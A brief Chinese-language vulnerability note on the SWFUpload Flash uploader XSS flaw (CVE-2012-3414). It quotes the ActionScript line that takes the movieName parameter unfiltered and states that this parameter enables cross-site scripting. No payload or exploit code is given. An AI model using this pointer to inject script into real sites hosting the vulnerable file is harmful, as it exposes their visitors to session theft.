SWFUpload

XSS漏洞(CVE-2012-3414)

// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.

参数movieName过滤不严导致存在XSS
